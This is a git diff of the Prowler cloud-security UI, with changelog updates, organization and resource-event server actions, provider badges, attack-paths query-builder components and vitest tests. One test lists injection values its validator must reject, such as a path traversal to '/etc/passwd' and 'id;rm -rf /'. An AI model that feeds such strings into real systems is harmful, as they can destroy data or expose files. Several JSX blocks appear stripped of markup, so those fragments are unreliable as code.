[(#10323)](https://github.com/prowler-cloud/prowler/pull/10323) ### 🔄 Changed -- Attack Paths: Improved error handling for server errors (5xx) and network failures with user-friendly messages instead of raw internal errors and layout changes. [(#10249)](https://github.com/prowler-cloud/prowler/pull/10249) -- Refactor simple providers with new components and styles.[(#10259)](https://github.com/prowler-cloud/prowler/pull/10259) -- AWS Organizations onboarding now uses a clearer 3-step flow: deploy the ProwlerScan role in the management account via CloudFormation Stack, deploy to member accounts via StackSet with a copyable template URL, and confirm with the Role ARN [(#10274)](https://github.com/prowler-cloud/prowler/pull/10274) +- Google Workspace provider support [(#10333)](https://github.com/prowler-cloud/prowler/pull/10333) +- Image (Container Registry) provider support in UI: badge icon, credentials form, and provider-type filtering [(#10167)](https://github.com/prowler-cloud/prowler/pull/10167) +- Events tab in Findings and Resource detail cards showing an AWS CloudTrail timeline with expandable event rows, actor info, request/response JSON payloads, and error details [(#10320)](https://github.com/prowler-cloud/prowler/pull/10320) +- AWS Organization and organizational unit row actions (Edit Name, Update Credentials, Test Connections, Delete) in providers table dropdown [(#10317)](https://github.com/prowler-cloud/prowler/pull/10317) --- -### 🔐 Security +## [1.20.0] (Prowler v5.20.0) -- npm transitive dependencies patched to resolve 11 Dependabot alerts (6 HIGH, 4 MEDIUM, 1 LOW): hono, @hono/node-server, fast-xml-parser, serialize-javascript, minimatch [(#10267)](https://github.com/prowler-cloud/prowler/pull/10267) +### 🚀 Added -## [1.19.1] (Prowler v5.19.1 UNRELEASED) +- Mute button in the finding detailed view, allowing users to mute findings directly without going back to the table [(#10303)](https://github.com/prowler-cloud/prowler/pull/10303) + +### 🔄 Changed + +- Attack Paths: Improved error handling for server errors (5xx) and network failures with user-friendly messages instead of raw internal errors and layout changes [(#10249)](https://github.com/prowler-cloud/prowler/pull/10249) +- Refactor simple providers with new components and styles [(#10259)](https://github.com/prowler-cloud/prowler/pull/10259) +- Providers page redesigned with cloud organization hierarchy, HeroUI-to-shadcn migration, organization and account group filters, and row selection for bulk actions [(#10292)](https://github.com/prowler-cloud/prowler/pull/10292) +- AWS Organizations onboarding now uses a clearer 3-step flow: deploy the ProwlerScan role in the management account via CloudFormation Stack, deploy to member accounts via StackSet with a copyable template URL, and confirm with the Role ARN [(#10274)](https://github.com/prowler-cloud/prowler/pull/10274) ### 🐞 Fixed - Provider wizard now closes after updating credentials instead of incorrectly advancing to the Launch Scan step, which caused API errors for providers with existing scheduled scans [(#10278)](https://github.com/prowler-cloud/prowler/pull/10278) +- Attack Paths query builder sending stale parameters from previous query selections due to validation schema and default values being recreated on every render [(#10306)](https://github.com/prowler-cloud/prowler/pull/10306) +- Finding detail drawer crashing when resource, scan, or provider relationships are missing from the API response [(#10314)](https://github.com/prowler-cloud/prowler/pull/10314) + +### 🔐 Security + +- npm transitive dependencies patched to resolve 11 Dependabot alerts (6 HIGH, 4 MEDIUM, 1 LOW): hono, @hono/node-server, fast-xml-parser, serialize-javascript, minimatch [(#10267)](https://github.com/prowler-cloud/prowler/pull/10267) --- diff --git a/ui/actions/manage-groups/manage-groups.ts b/ui/actions/manage-groups/manage-groups.ts index 8899029668..8758b66f68 100644 --- a/ui/actions/manage-groups/manage-groups.ts +++ b/ui/actions/manage-groups/manage-groups.ts @@ -22,7 +22,8 @@ export const getProviderGroups = async ({ }): Promise => { const headers = await getAuthHeaders({ contentType: false }); - if (isNaN(Number(page)) || page < 1) redirect("/manage-groups"); + if (isNaN(Number(page)) || page < 1) + redirect("/providers?tab=account-groups"); const url = new URL(`${apiBaseUrl}/provider-groups`); @@ -43,7 +44,7 @@ export const getProviderGroups = async ({ headers, }); - return handleApiResponse(response); + return await handleApiResponse(response); } catch (error) { console.error("Error fetching provider groups:", error); return undefined; @@ -60,7 +61,7 @@ export const getProviderGroupInfoById = async (providerGroupId: string) => { headers, }); - return handleApiResponse(response); + return await handleApiResponse(response); } catch (error) { handleApiError(error); } @@ -111,7 +112,7 @@ export const createProviderGroup = async (formData: FormData) => { body, }); - return handleApiResponse(response, "/manage-groups"); + return await handleApiResponse(response, "/providers?tab=account-groups"); } catch (error) { handleApiError(error); } @@ -156,7 +157,7 @@ export const updateProviderGroup = async ( body: JSON.stringify(payload), }); - return handleApiResponse(response); + return await handleApiResponse(response); } catch (error) { handleApiError(error); } @@ -168,7 +169,7 @@ export const deleteProviderGroup = async (formData: FormData) => { if (!providerGroupId) { return { - errors: [{ detail: "Provider Group ID is required." }], + errors: [{ detail: "Account Group ID is required." }], }; } @@ -196,7 +197,7 @@ export const deleteProviderGroup = async (formData: FormData) => { data = await response.json(); } - revalidatePath("/manage-groups"); + revalidatePath("/providers"); return data || { success: true }; } catch (error) { console.error("Error deleting provider group:", error); diff --git a/ui/actions/organizations/organizations.test.ts b/ui/actions/organizations/organizations.test.ts index 52a4b82eb3..be1eb6c404 100644 --- a/ui/actions/organizations/organizations.test.ts +++ b/ui/actions/organizations/organizations.test.ts @@ -31,6 +31,10 @@ vi.mock("@/lib/server-actions-helper", () => ({ import { applyDiscovery, getDiscovery, + listOrganizations, + listOrganizationsSafe, + listOrganizationUnits, + listOrganizationUnitsSafe, triggerDiscovery, updateOrganizationSecret, } from "./organizations"; @@ -137,4 +141,66 @@ describe("organizations actions", () => { expect(revalidatePathMock).toHaveBeenCalledTimes(1); expect(revalidatePathMock).toHaveBeenCalledWith("/providers"); }); + + it("lists organizations with the expected filters", async () => { + // Given + handleApiResponseMock.mockResolvedValue({ data: [] }); + + // When + await listOrganizations(); + + // Then + expect(fetchMock).toHaveBeenCalledTimes(1); + expect(fetchMock.mock.calls[0]?.[0]).toBe( + "https://api.example.com/api/v1/organizations?filter%5Borg_type%5D=aws", + ); + }); + + it("lists organization units from the dedicated endpoint", async () => { + // Given + handleApiResponseMock.mockResolvedValue({ data: [] }); + + // When + await listOrganizationUnits(); + + // Then + expect(fetchMock).toHaveBeenCalledTimes(1); + expect(fetchMock.mock.calls[0]?.[0]).toBe( + "https://api.example.com/api/v1/organizational-units", + ); + }); + + it("returns an empty organizations payload when the safe organizations request fails", async () => { + // Given + fetchMock.mockResolvedValue( + new Response("Internal Server Error", { + status: 500, + }), + ); + + // When + const result = await listOrganizationsSafe(); + + // Then + expect(result).toEqual({ data: [] }); + expect(handleApiResponseMock).not.toHaveBeenCalled(); + expect(handleApiErrorMock).not.toHaveBeenCalled(); + }); + + it("returns an empty organization units payload when the safe request fails", async () => { + // Given + fetchMock.mockResolvedValue( + new Response("Internal Server Error", { + status: 500, + }), + ); + + // When + const result = await listOrganizationUnitsSafe(); + + // Then + expect(result).toEqual({ data: [] }); + expect(handleApiResponseMock).not.toHaveBeenCalled(); + expect(handleApiErrorMock).not.toHaveBeenCalled(); + }); }); diff --git a/ui/actions/organizations/organizations.ts b/ui/actions/organizations/organizations.ts index 16ddd7593d..9c3caf1080 100644 --- a/ui/actions/organizations/organizations.ts +++ b/ui/actions/organizations/organizations.ts @@ -4,6 +4,10 @@ import { revalidatePath } from "next/cache"; import { apiBaseUrl, getAuthHeaders } from "@/lib"; import { handleApiError, handleApiResponse } from "@/lib/server-actions-helper"; +import { + OrganizationListResponse, + OrganizationUnitListResponse, +} from "@/types"; const PATH_IDENTIFIER_PATTERN = /^[A-Za-z0-9_-]+$/; @@ -37,6 +41,24 @@ function hasActionError(result: unknown): result is { error: unknown } { ); } +async function fetchOptionalCollection( + url: URL, +): Promise { + const headers = await getAuthHeaders({ contentType: false }); + + try { + const response = await fetch(url.toString(), { headers }); + + if (!response.ok) { + return { data: [] } as unknown as T; + } + + return (await handleApiResponse(response)) as T; + } catch { + return { data: [] } as unknown as T; + } +} + /** * Creates an AWS Organization resource. * POST /api/v1/organizations @@ -70,6 +92,59 @@ export const createOrganization = async (formData: FormData) => { } }; +/** + * Updates an AWS Organization's name. + * PATCH /api/v1/organizations/{id} + */ +export const updateOrganizationName = async ( + organizationId: string, + name: string, +) => { + const trimmed = name.trim(); + if (!trimmed) { + return { error: "Organization name cannot be empty." }; + } + + const headers = await getAuthHeaders({ contentType: true }); + + const idValidation = validatePathIdentifier( + organizationId, + "Organization ID is required", + "Invalid organization ID", + ); + if ("error" in idValidation) { + return idValidation; + } + + const url = new URL( + `${apiBaseUrl}/organizations/${encodeURIComponent(idValidation.value)}`, + ); + + try { + const response = await fetch(url.toString(), { + method: "PATCH", + headers, + body: JSON.stringify({ + data: { + type: "organizations", + id: idValidation.value, + attributes: { + name: trimmed, + }, + }, + }), + }); + + const result = await handleApiResponse(response); + if (!hasActionError(result)) { + revalidatePath("/providers"); + } + return result; + } catch (error) { + return handleApiError(error); + } +}; + /** * Lists AWS Organizations filtered by external ID. * GET /api/v1/organizations?filter[external_id]={externalId}&filter[org_type]=aws @@ -82,12 +157,62 @@ export const listOrganizationsByExternalId = async (externalId: string) => { try { const response = await fetch(url.toString(), { headers }); - return handleApiResponse(response); + return await handleApiResponse(response); } catch (error) { return handleApiError(error); } }; +/** + * Lists AWS organizations available for the current tenant. + * GET /api/v1/organizations?filter[org_type]=aws + */ +export const listOrganizations = async () => { + const headers = await getAuthHeaders({ contentType: false }); + const url = new URL(`${apiBaseUrl}/organizations`); + url.searchParams.set("filter[org_type]", "aws"); + + try { + const response = await fetch(url.toString(), { headers }); + return await handleApiResponse(response); + } catch (error) { + return handleApiError(error); + } +}; + +export const listOrganizationsSafe = + async (): Promise => { + const url = new URL(`${apiBaseUrl}/organizations`); + url.searchParams.set("filter[org_type]", "aws"); + url.searchParams.set("page[size]", "100"); + + return fetchOptionalCollection(url); + }; + +/** + * Lists organization units available for the current tenant. + * GET /api/v1/organizational-units + */ +export const listOrganizationUnits = async () => { + const headers = await getAuthHeaders({ contentType: false }); + const url = new URL(`${apiBaseUrl}/organizational-units`); + + try { + const response = await fetch(url.toString(), { headers }); + return await handleApiResponse(response); + } catch (error) { + return handleApiError(error); + } +}; + +export const listOrganizationUnitsSafe = + async (): Promise => { + const url = new URL(`${apiBaseUrl}/organizational-units`); + url.searchParams.set("page[size]", "100"); + + return fetchOptionalCollection(url); + }; + /** * Creates an organization secret (role-based credentials). * POST /api/v1/organization-secrets @@ -201,6 +326,72 @@ export const listOrganizationSecretsByOrganizationId = async ( } }; +/** + * Deletes an AWS Organization resource. + * DELETE /api/v1/organizations/{id} + */ +export const deleteOrganization = async (organizationId: string) => { + const headers = await getAuthHeaders({ contentType: false }); + + const organizationIdValidation = validatePathIdentifier( + organizationId, + "Organization ID is required", + "Invalid organization ID", + ); + if ("error" in organizationIdValidation) { + return organizationIdValidation; + } + + const url = new URL( + `${apiBaseUrl}/organizations/${encodeURIComponent(organizationIdValidation.value)}`, + ); + + try { + const response = await fetch(url.toString(), { + method: "DELETE", + headers, + }); + + return handleApiResponse(response, "/providers"); + } catch (error) { + return handleApiError(error); + } +}; + +/** + * Deletes an organizational unit. + * DELETE /api/v1/organizational-units/{id} + */ +export const deleteOrganizationalUnit = async ( + organizationalUnitId: string, +) => { + const headers = await getAuthHeaders({ contentType: false }); + + const idValidation = validatePathIdentifier( + organizationalUnitId, + "Organizational unit ID is required", + "Invalid organizational unit ID", + ); + if ("error" in idValidation) { + return idValidation; + } + + const url = new URL( + `${apiBaseUrl}/organizational-units/${encodeURIComponent(idValidation.value)}`, + ); + + try { + const response = await fetch(url.toString(), { + method: "DELETE", + headers, + }); + + return handleApiResponse(response, "/providers"); + } catch (error) { + return handleApiError(error); + } +}; + /** * Triggers an async discovery of the AWS Organization. * POST /api/v1/organizations/{id}/discover diff --git a/ui/actions/resources/index.ts b/ui/actions/resources/index.ts index e4e24e4d9a..afaf91a381 100644 --- a/ui/actions/resources/index.ts +++ b/ui/actions/resources/index.ts @@ -3,5 +3,6 @@ export { getLatestResources, getMetadataInfo, getResourceById, + getResourceEvents, getResources, } from "./resources"; diff --git a/ui/actions/resources/resources.test.ts b/ui/actions/resources/resources.test.ts new file mode 100644 index 0000000000..b3fc4b257b --- /dev/null +++ b/ui/actions/resources/resources.test.ts @@ -0,0 +1,171 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const { fetchMock, getAuthHeadersMock, handleApiResponseMock } = vi.hoisted( + () => ({ + fetchMock: vi.fn(), + getAuthHeadersMock: vi.fn(), + handleApiResponseMock: vi.fn(), + }), +); + +vi.mock("@/lib", () => ({ + apiBaseUrl: "https://api.example.com/api/v1", + getAuthHeaders: getAuthHeadersMock, +})); + +vi.mock("@/lib/server-actions-helper", () => ({ + handleApiResponse: handleApiResponseMock, +})); + +vi.mock("@/lib/provider-filters", () => ({ + appendSanitizedProviderTypeFilters: vi.fn(), +})); + +vi.mock("next/navigation", () => ({ + redirect: vi.fn(), +})); + +import { getResourceEvents } from "./resources"; + +describe("getResourceEvents", () => { + beforeEach(() => { + vi.clearAllMocks(); + vi.stubGlobal("fetch", fetchMock); + getAuthHeadersMock.mockResolvedValue({ Authorization: "Bearer token" }); + }); + + it("calls the correct API endpoint with default parameters", async () => { + // Given + const mockResponse = new Response("", { status: 200 }); + fetchMock.mockResolvedValue(mockResponse); + handleApiResponseMock.mockResolvedValue({ data: [] }); + + // When + await getResourceEvents("resource-123"); + + // Then + expect(fetchMock).toHaveBeenCalledTimes(1); + const calledUrl = new URL(fetchMock.mock.calls[0][0]); + expect(calledUrl.pathname).toBe("/api/v1/resources/resource-123/events"); + expect(calledUrl.searchParams.get("include_read_events")).toBe("false"); + expect(calledUrl.searchParams.get("lookback_days")).toBe("90"); + expect(calledUrl.searchParams.get("page[size]")).toBe("50"); + }); + + it("passes custom parameters to the API", async () => { + // Given + const mockResponse = new Response("", { status: 200 }); + fetchMock.mockResolvedValue(mockResponse); + handleApiResponseMock.mockResolvedValue({ data: [] }); + + // When + await getResourceEvents("resource-456", { + includeReadEvents: true, + lookbackDays: 30, + pageSize: 25, + }); + + // Then + const calledUrl = new URL(fetchMock.mock.calls[0][0]); + expect(calledUrl.searchParams.get("include_read_events")).toBe("true"); + expect(calledUrl.searchParams.get("lookback_days")).toBe("30"); + expect(calledUrl.searchParams.get("page[size]")).toBe("25"); + }); + + it("returns parsed response on success", async () => { + // Given + const mockData = { + data: [ + { + type: "resource-events", + id: "event-1", + attributes: { event_name: "CreateStack" }, + }, + ], + }; + const mockResponse = new Response("", { status: 200 }); + fetchMock.mockResolvedValue(mockResponse); + handleApiResponseMock.mockResolvedValue(mockData); + + // When + const result = await getResourceEvents("resource-123"); + + // Then + expect(result).toEqual(mockData); + expect(handleApiResponseMock).toHaveBeenCalledWith(mockResponse); + }); + + it("returns error object for non-ok responses without calling handleApiResponse", async () => { + // Given + const errorBody = JSON.stringify({ + errors: [ + { + detail: + "Provider credentials are invalid or expired. Please reconnect the provider.", + }, + ], + }); + const mockResponse = new Response(errorBody, { + status: 502, + statusText: "Bad Gateway", + }); + fetchMock.mockResolvedValue(mockResponse); + + // When + const result = await getResourceEvents("resource-123"); + + // Then + expect(result).toEqual({ + error: + "Provider credentials are invalid or expired. Please reconnect the provider.", + status: 502, + }); + expect(handleApiResponseMock).not.toHaveBeenCalled(); + }); + + it("returns error with statusText when response body is not JSON", async () => { + // Given + const mockResponse = new Response("Service Unavailable", { + status: 503, + statusText: "Service Unavailable", + }); + fetchMock.mockResolvedValue(mockResponse); + + // When + const result = await getResourceEvents("resource-123"); + + // Then + expect(result).toEqual({ + error: "Service Unavailable", + status: 503, + }); + }); + + it("returns generic error when fetch throws", async () => { + // Given + fetchMock.mockRejectedValue(new Error("Network failure")); + + // When + const result = await getResourceEvents("resource-123"); + + // Then + expect(result).toEqual({ error: "An unexpected error occurred." }); + }); + + it.each([ + "../../../etc/passwd", + "resource/../../secret", + "id with spaces", + "id;rm -rf /", + "", + "resource%00id", + "", + ])("rejects malicious or invalid resourceId: %s", async (maliciousId) => { + // When + const result = await getResourceEvents(maliciousId); + + // Then + expect(result).toEqual({ error: "Invalid resource ID format." }); + expect(fetchMock).not.toHaveBeenCalled(); + }); +}); diff --git a/ui/actions/resources/resources.ts b/ui/actions/resources/resources.ts index d65505704f..36f9761959 100644 --- a/ui/actions/resources/resources.ts +++ b/ui/actions/resources/resources.ts @@ -160,6 +160,64 @@ export const getLatestMetadataInfo = async ({ } }; +const SAFE_RESOURCE_ID_PATTERN = /^[a-zA-Z0-9_-]+$/; + +export const getResourceEvents = async ( + resourceId: string, + { + includeReadEvents = false, + lookbackDays = 90, + pageSize = 50, + }: { + includeReadEvents?: boolean; + lookbackDays?: number; + pageSize?: number; + } = {}, +) => { + if (!SAFE_RESOURCE_ID_PATTERN.test(resourceId)) { + return { error: "Invalid resource ID format." }; + } + + const headers = await getAuthHeaders({ contentType: false }); + + const url = new URL(`${apiBaseUrl}/resources/${resourceId}/events`); + url.searchParams.append("include_read_events", String(includeReadEvents)); + url.searchParams.append("lookback_days", String(lookbackDays)); + url.searchParams.append("page[size]", String(pageSize)); + + try { + const response = await fetch(url.toString(), { headers }); + + if (!response.ok) { + const rawText = await response.text().catch(() => ""); + const defaultError = "An error occurred while fetching events."; + try { + const errorData = rawText ? JSON.parse(rawText) : null; + return { + error: + errorData?.errors?.[0]?.detail || + errorData?.error || + errorData?.message || + rawText || + response.statusText || + defaultError, + status: response.status, + }; + } catch { + return { + error: rawText || response.statusText || defaultError, + status: response.status, + }; + } + } + + return handleApiResponse(response); + } catch (error) { + console.error("Error fetching resource events:", error); + return { error: "An unexpected error occurred." }; + } +}; + export const getResourceById = async ( id: string, { diff --git a/ui/app/(prowler)/_overview/_components/accounts-selector.tsx b/ui/app/(prowler)/_overview/_components/accounts-selector.tsx index 0e3845787e..68ffec2706 100644 --- a/ui/app/(prowler)/_overview/_components/accounts-selector.tsx +++ b/ui/app/(prowler)/_overview/_components/accounts-selector.tsx @@ -10,7 +10,9 @@ import { CloudflareProviderBadge, GCPProviderBadge, GitHubProviderBadge, + GoogleWorkspaceProviderBadge, IacProviderBadge, + ImageProviderBadge, KS8ProviderBadge, M365ProviderBadge, MongoDBAtlasProviderBadge, @@ -34,7 +36,9 @@ const PROVIDER_ICON: Record = { kubernetes: , m365: , github: , + googleworkspace: , iac: , + image: , oraclecloud: , mongodbatlas: , alibabacloud: , diff --git a/ui/app/(prowler)/_overview/_components/provider-type-selector.tsx b/ui/app/(prowler)/_overview/_components/provider-type-selector.tsx index a1aaeaa6e5..6c62a34667 100644 --- a/ui/app/(prowler)/_overview/_components/provider-type-selector.tsx +++ b/ui/app/(prowler)/_overview/_components/provider-type-selector.tsx @@ -1,7 +1,7 @@ "use client"; import { useSearchParams } from "next/navigation"; -import { lazy, Suspense } from "react"; +import { type ComponentType, lazy, Suspense } from "react"; import { MultiSelect, @@ -48,6 +48,11 @@ const IacProviderBadge = lazy(() => default: m.IacProviderBadge, })), ); +const ImageProviderBadge = lazy(() => + import("@/components/icons/providers-badge").then((m) => ({ + default: m.ImageProviderBadge, + })), +); const OracleCloudProviderBadge = lazy(() => import("@/components/icons/providers-badge").then((m) => ({ default: m.OracleCloudProviderBadge, @@ -73,6 +78,11 @@ const OpenStackProviderBadge = lazy(() => default: m.OpenStackProviderBadge, })), ); +const GoogleWorkspaceProviderBadge = lazy(() => + import("@/components/icons/providers-badge").then((m) => ({ + default: m.GoogleWorkspaceProviderBadge, + })), +); type IconProps = { width: number; height: number }; @@ -82,7 +92,7 @@ const IconPlaceholder = ({ width, height }: IconProps) => ( const PROVIDER_DATA: Record< ProviderType, - { label: string; icon: React.ComponentType } + { label: string; icon: ComponentType } > = { aws: { label: "Amazon Web Services", @@ -108,10 +118,18 @@ const PROVIDER_DATA: Record< label: "GitHub", icon: GitHubProviderBadge, }, + googleworkspace: { + label: "Google Workspace", + icon: GoogleWorkspaceProviderBadge, + }, iac: { label: "Infrastructure as Code", icon: IacProviderBadge, }, + image: { + label: "Container Registry", + icon: ImageProviderBadge, + }, oraclecloud: { label: "Oracle Cloud Infrastructure", icon: OracleCloudProviderBadge, @@ -186,14 +204,14 @@ export const ProviderTypeSelector = ({ if (selectedTypes.length === 1) { const providerType = selectedTypes[0] as ProviderType; return ( - + {renderIcon(providerType)} - {PROVIDER_DATA[providerType].label} + {PROVIDER_DATA[providerType].label} ); } return ( - + {selectedTypes.length} providers selected ); diff --git a/ui/app/(prowler)/attack-paths/(workflow)/_components/workflow-attack-paths.tsx b/ui/app/(prowler)/attack-paths/(workflow)/_components/workflow-attack-paths.tsx index 9e1f3684ca..101f97d5b7 100644 --- a/ui/app/(prowler)/attack-paths/(workflow)/_components/workflow-attack-paths.tsx +++ b/ui/app/(prowler)/attack-paths/(workflow)/_components/workflow-attack-paths.tsx @@ -12,7 +12,7 @@ export const WorkflowAttackPaths = () => { const pathname = usePathname(); // Determine current step based on pathname - const isQueryBuilderStep = pathname.includes("query-builder"); + const isQueryBuilderStep = pathname.includes("/attack-paths"); const currentStep = isQueryBuilderStep ? 1 : 0; // 0-indexed diff --git a/ui/app/(prowler)/attack-paths/(workflow)/layout.tsx b/ui/app/(prowler)/attack-paths/(workflow)/layout.tsx index 8557ab5369..fb9ef2f902 100644 --- a/ui/app/(prowler)/attack-paths/(workflow)/layout.tsx +++ b/ui/app/(prowler)/attack-paths/(workflow)/layout.tsx @@ -1,21 +1,7 @@ -import { Navbar } from "@/components/ui/nav-bar/navbar"; - -/** - * Workflow layout for Attack Paths - * Displays content with navbar - */ -export default function AttackPathsWorkflowLayout({ +export default function WorkflowLayout({ children, }: { children: React.ReactNode; }) { - return ( - <> - -

- {/* Content */} -
{children}
-
- - ); + return <>{children}; } diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-loading.test.tsx b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-loading.test.tsx new file mode 100644 index 0000000000..a87fb546b2 --- /dev/null +++ b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-loading.test.tsx @@ -0,0 +1,27 @@ +import { render, screen } from "@testing-library/react"; +import { describe, expect, it } from "vitest"; + +import { GraphLoading } from "./graph-loading"; + +describe("GraphLoading", () => { + it("uses the provider wizard loading pattern", () => { + render(); + + expect(screen.getByTestId("graph-loading")).toHaveClass( + "flex", + "min-h-[320px]", + "items-center", + "justify-center", + "gap-4", + "text-center", + ); + expect(screen.getByLabelText("Loading")).toHaveClass( + "size-6", + "animate-spin", + ); + expect(screen.getByText("Loading Attack Paths graph...")).toHaveClass( + "text-muted-foreground", + "text-sm", + ); + }); +}); diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-loading.tsx b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-loading.tsx index cf56231a05..be4bd1b528 100644 --- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-loading.tsx +++ b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-loading.tsx @@ -1,6 +1,6 @@ "use client"; -import { Skeleton } from "@/components/shadcn/skeleton/skeleton"; +import { TreeSpinner } from "@/components/shadcn/tree-view/tree-spinner"; /** * Loading skeleton for graph visualization @@ -8,17 +8,14 @@ import { Skeleton } from "@/components/shadcn/skeleton/skeleton"; */ export const GraphLoading = () => { return ( -
-
-
- - - -
-

- Loading Attack Paths graph... -

-
+
+ +

+ Loading Attack Paths graph... +

); }; diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/query-parameters-form.test.tsx b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/query-parameters-form.test.tsx new file mode 100644 index 0000000000..ac2b81be7f --- /dev/null +++ b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/query-parameters-form.test.tsx @@ -0,0 +1,73 @@ +import { render, screen } from "@testing-library/react"; +import { FormProvider, useForm } from "react-hook-form"; +import { describe, expect, it } from "vitest"; + +import type { AttackPathQuery } from "@/types/attack-paths"; + +import { QueryParametersForm } from "./query-parameters-form"; + +const mockQuery: AttackPathQuery = { + type: "attack-paths-scans", + id: "query-with-string-parameter", + attributes: { + name: "Query With String Parameter", + short_description: "Requires a tag key", + description: "Returns buckets filtered by tag", + provider: "aws", + attribution: null, + parameters: [ + { + name: "tag_key", + label: "Tag key", + data_type: "string", + description: "Tag key to filter the S3 bucket.", + placeholder: "DataClassification", + required: true, + }, + ], + }, +}; + +function TestForm() { + const form = useForm({ + defaultValues: { + tag_key: "", + }, + }); + + return ( + + + + ); +} + +describe("QueryParametersForm", () => { + it("uses the field description as the placeholder instead of rendering helper text below", () => { + // Given + render(); + + // When + const input = screen.getByRole("textbox", { name: /tag key/i }); + + // Then + expect(input).toHaveAttribute("data-slot", "input"); + expect(input).toHaveAttribute( + "placeholder", + "Tag key to filter the S3 bucket.", + ); + expect(screen.getByTestId("query-parameters-grid")).toHaveClass( + "grid", + "grid-cols-1", + "md:grid-cols-2", + ); + expect(screen.getByText("Tag key")).toHaveClass( + "text-text-neutral-tertiary", + "text-xs", + "font-medium", + ); + expect( + screen.queryByText("Tag key to filter the S3 bucket."), + ).not.toBeInTheDocument(); + }); +}); diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/query-parameters-form.tsx b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/query-parameters-form.tsx index ccbcf60547..24937c0b7b 100644 --- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/query-parameters-form.tsx +++ b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/query-parameters-form.tsx @@ -2,6 +2,7 @@ import { Controller, useFormContext } from "react-hook-form"; +import { Input } from "@/components/shadcn"; import type { AttackPathQuery } from "@/types/attack-paths"; interface QueryParametersFormProps { @@ -21,14 +22,7 @@ export const QueryParametersForm = ({ } = useFormContext(); if (!selectedQuery || !selectedQuery.attributes.parameters.length) { - return ( -
-

- This query requires no parameters. Click "Execute Query" to - proceed. -

-
- ); + return null; } return ( @@ -37,86 +31,82 @@ export const QueryParametersForm = ({ Query Parameters - {selectedQuery.attributes.parameters.map((param) => ( - { - if (param.data_type === "boolean") { - return ( -
-
); }; diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/query-selector.tsx b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/query-selector.tsx index f7d36c9a68..57319449f4 100644 --- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/query-selector.tsx +++ b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/query-selector.tsx @@ -27,7 +27,7 @@ export const QuerySelector = ({ return ( { - setSelectedPageSize(value); - - const params = new URLSearchParams(searchParams); - - // Preserve scanId if it exists - const scanId = searchParams.get("scanId"); - - params.set("scanPageSize", value); - params.set("scanPage", "1"); - - // Ensure that scanId is preserved - if (scanId) params.set("scanId", scanId); - - router.push(`${pathname}?${params.toString()}`); - }} - > - - - - - {PAGE_SIZE_OPTIONS.map((size) => ( - - {size} - - ))} - - -
-
- Page {currentPage} of {totalPages} -
-
- isFirstPage && e.preventDefault()} - > -
- - )} - - )} - - + ); }; diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_hooks/use-query-builder.test.tsx b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_hooks/use-query-builder.test.tsx new file mode 100644 index 0000000000..79f9f594f1 --- /dev/null +++ b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_hooks/use-query-builder.test.tsx @@ -0,0 +1,80 @@ +import { act, renderHook, waitFor } from "@testing-library/react"; +import { describe, expect, it } from "vitest"; + +import type { AttackPathQuery } from "@/types/attack-paths"; + +import { useQueryBuilder } from "./use-query-builder"; + +const mockQueries: AttackPathQuery[] = [ + { + type: "attack-paths-scans", + id: "query-with-parameters", + attributes: { + name: "Query With Parameters", + short_description: "Requires a principal ARN", + description: "Returns paths for a principal", + provider: "aws", + attribution: null, + parameters: [ + { + name: "principal_arn", + label: "Principal ARN", + data_type: "string", + description: "Principal to analyze", + required: true, + }, + ], + }, + }, + { + type: "attack-paths-scans", + id: "query-without-parameters", + attributes: { + name: "Query Without Parameters", + short_description: "Returns all privileged paths", + description: "Returns all privileged paths", + provider: "aws", + attribution: null, + parameters: [], + }, + }, +]; + +describe("useQueryBuilder", () => { + it("drops stale parameter values when switching to a query without parameters", async () => { + // Given + const { result } = renderHook(() => useQueryBuilder(mockQueries)); + + act(() => { + result.current.handleQueryChange("query-with-parameters"); + }); + + await waitFor(() => { + expect(result.current.selectedQueryData?.id).toBe( + "query-with-parameters", + ); + }); + + act(() => { + result.current.form.setValue( + "principal_arn", + "arn:aws:iam::123:user/alex", + ); + }); + + expect(result.current.getQueryParameters()).toEqual({ + principal_arn: "arn:aws:iam::123:user/alex", + }); + + // When + act(() => { + result.current.handleQueryChange("query-without-parameters"); + }); + + // Then + expect(result.current.selectedQueryData?.id).toBe( + "query-without-parameters", + ); + expect(result.current.getQueryParameters()).toBeUndefined(); + }); +}); diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_hooks/use-query-builder.ts b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_hooks/use-query-builder.ts index b05c9d463c..da93b049b9 100644 --- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_hooks/use-query-builder.ts +++ b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_hooks/use-query-builder.ts @@ -7,6 +7,38 @@ import { z } from "zod"; import type { AttackPathQuery } from "@/types/attack-paths"; +const getValidationSchema = (query?: AttackPathQuery) => { + const schemaObject: Record = {}; + + query?.attributes.parameters.forEach((param) => { + let fieldSchema: z.ZodTypeAny = z + .string() + .min(1, `${param.label} is required`); + + if (param.data_type === "number") { + fieldSchema = z.coerce.number().refine((val) => val >= 0, { + message: `${param.label} must be a non-negative number`, + }); + } else if (param.data_type === "boolean") { + fieldSchema = z.boolean().default(false); + } + + schemaObject[param.name] = fieldSchema; + }); + + return z.object(schemaObject); +}; + +const 